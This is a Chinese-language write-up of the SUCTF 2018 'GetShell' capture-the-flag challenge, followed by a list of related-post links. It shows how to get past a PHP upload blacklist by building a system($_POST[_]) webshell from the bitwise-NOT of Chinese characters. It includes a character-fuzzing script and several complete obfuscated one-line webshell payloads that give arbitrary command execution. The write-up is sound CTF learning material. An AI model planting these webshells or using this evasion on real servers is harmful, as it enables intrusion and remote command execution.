[SUCTF 2018]GetShell


查看源代码发现源码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){    保存上传文件在临时文件目录
    $data=substr($contents,5);       切片从第五个字符开始之后的所有字符
    foreach ($black_char as $b) {             看看有没有黑名单有就不给过
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

随便上传了个文件发现后缀被转为php也就是说会被解析成php文件

那么我们要构造一个shell

内容为

assert($_POST[_]);
这个也是盲猜的因为局限性很大必须是php7.2之前的版本才可以,那么还是搞个system来用吧
system($_POST[_]);

这道题原理不难就是fuzz比较难做

先利用ascii原理生成字典

python 复制代码
for i in range(32,127):
    print(chr(i))
php 复制代码
system($_POST[_]);
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];//system
$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];//_POST

$___($$____[_]);//system($_POST[_]);
php 复制代码
<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~区[$__].~冈[$__].~区[$__].~勺[$__].~皮[$__].~针[$__];$____=~码[$__].~寸[$__].~小[$__].~欠[$__].~立[$__];$___($$____[_]);
php 复制代码
assert($_POST[_]);
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);

诶那么这里思路就很明确了

基本是和自增差不多的只不多我们这里使用取反来做

$ (  )  .  ;  =  [  ]  _  ~ 

没有东西怎么构造字符串,那么汉字也是在可控范围内的,这是一个特性

php 复制代码
<?php
$str = "在这场绿色转型的浪潮中,生态智慧成为了关键词。未来的城市不再仅仅是钢筋水泥的丛林,而是自然与技术完美融合的生态乐园。绿色建筑,利用太阳能板、雨水收集系统与垂直花园,不仅减少了对自然资源的依赖,还提升了居民的生活质量。智能电网通过高效分配可再生能源,确保了电力供应的清洁与稳定,而无人驾驶公共交通系统则大幅降低了碳排放,重新定义了都市出行的方式。

循环经济的概念深入城市规划的核心,废弃物不再是负担,而是资源循环的宝贵原料。城市垃圾通过高科技分类与处理,转化为能源或新型材料,实现了真正的"变废为宝"。同时,城市农业的兴起,让高楼大厦的屋顶和空闲空间变身成为都市绿洲,为市民提供了新鲜、无公害的食材,缩短了食物供应链,促进了社区的自给自足能力。

然而,这一切变革并非一蹴而就,它需要政策制定者的远见卓识、科学家的不懈探索、企业家的创新实践以及每一位公民的积极参与。公众教育与意识提升成为推动绿色转型不可或缺的力量,通过学校教育、媒体宣传和社会活动,增强大众对于环境保护的责任感与行动力。

面对气候变化的严峻挑战,未来的城市还将进一步探索气候适应性设计,比如建设能够抵御极端天气事件的基础设施,以及发展蓝色基础设施,保护和恢复城市水系,以应对海平面上升和城市内涝问题。

总而言之,未来城市的绿色转型是一场全方位、多层次的社会运动,它要求我们在尊重自然法则的同时,发挥人类的创造力与合作精神。这不仅是对现有生活方式的一次深刻反思,更是对未来世代的一份责任与承诺。在这个过程中,每一座城市、每一个社区乃至每一个个体的选择与努力,都将汇聚成推动地球走向更加绿色、健康、繁荣未来的强大力量。";
$num = strlen($str);
$worl = ~mb_substr($str,0,1,'utf-8');

for($i=0; $i<$num;$i++){
 $worl = mb_substr($str,$i,1,'utf-8');
 $ans = ~$worl;
 if($ans[1]=='s' || $ans[1]=='y'|| $ans[1]=='e' || $ans[1]=='m' || $ans[1]=='t' || $ans[1]=='P' ||$ans[1]=='O' ||$ans[1]=='S' ||$ans[1]=='T' ||$ans[1]=='_'){
  echo $ans[1];
  echo $worl;
  echo "<br>";
}
}
?>
e的<br>P词<br>e的<br>y再<br>m钢<br>O水<br>e的<br>e的<br>O水<br>O少<br>P对<br>e的<br>O民<br>e的<br>T高<br>y再<br>e的<br>e的<br>e的<br>e的<br>_核<br>y再<br>t担<br>e的<br>T高<br>s化<br>e的<br>y农<br>e的<br>T高<br>e的<br>m和<br>O民<br>e的<br>s区<br>e的<br>O就<br>e的<br>P识<br>e的<br>e的<br>P每<br>O民<br>e的<br>P识<br>e的<br>_校<br>m和<br>P对<br>e的<br>P对<br>O气<br>s化<br>e的<br>s挑<br>e的<br>O将<br>O气<br>P比<br>T端<br>O气<br>e的<br>m和<br>O水<br>P对<br>m和<br>y内<br>e的<br>S次<br>e的<br>O尊<br>e的<br>s挥<br>e的<br>P对<br>e的<br>S次<br>P对<br>e的<br>P诺<br>P每<br>P每<br>s区<br>P每<br>e的<br>t择<br>O将<br>e的<br>

上面两个payload是别的师傅构造的这个是我自己构造的

php 复制代码
<?php
$_ = [];
//echo $_;
$__ = $_ . $_;
//echo $__;
$_ = ($_ == $__);   //false 0 没啥用可以不写
$__ = ($_ == $_);   //true 1 全部都用的这个
// var_dump($_);
// var_dump($__);
$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];
//var_dump($___);
$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__]; 
var_dump($____);
//$___($$____[_]);
?>

构造$_POST的时候不能直接写我就是贪了然后浪费了一些时间

诶他把<>?过滤了怎么办呢,没关系,我们只要有php头即可正常解析

最后把格式调整一下上传的是这个

<?=$_=[];$__=$_.$_;$_=($_==$__);$__=($_==$_);$___=~化[$__].~再[$__].~化[$__].~担[$__].~的[$__].~和[$__];$____=~校[$__].~识[$__].~水[$__].~次[$__].~端[$__];$___($$____[_]);

那么这道题就可以任意命令执行了

相关推荐
Red Red24 分钟前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
工业甲酰苯胺1 小时前
MySQL 主从复制之多线程复制
android·mysql·adb
少说多做3431 小时前
Android 不同情况下使用 runOnUiThread
android·java
蓝黑20202 小时前
IntelliJ IDEA常用快捷键
java·ide·intellij-idea
锅巴编程2 小时前
VsCode 插件推荐(个人常用)
ide·vscode·编辑器
做个爱笑的大男孩2 小时前
VScode clangd插件安装
ide·vscode·编辑器
亚远景aspice2 小时前
ISO 21434标准:汽车网络安全管理的利与弊
网络·web安全·汽车
Estar.Lee3 小时前
时间操作[计算时间差]免费API接口教程
android·网络·后端·网络协议·tcp/ip
找藉口是失败者的习惯3 小时前
从传统到未来:Android XML布局 与 Jetpack Compose的全面对比
android·xml
HackKong4 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客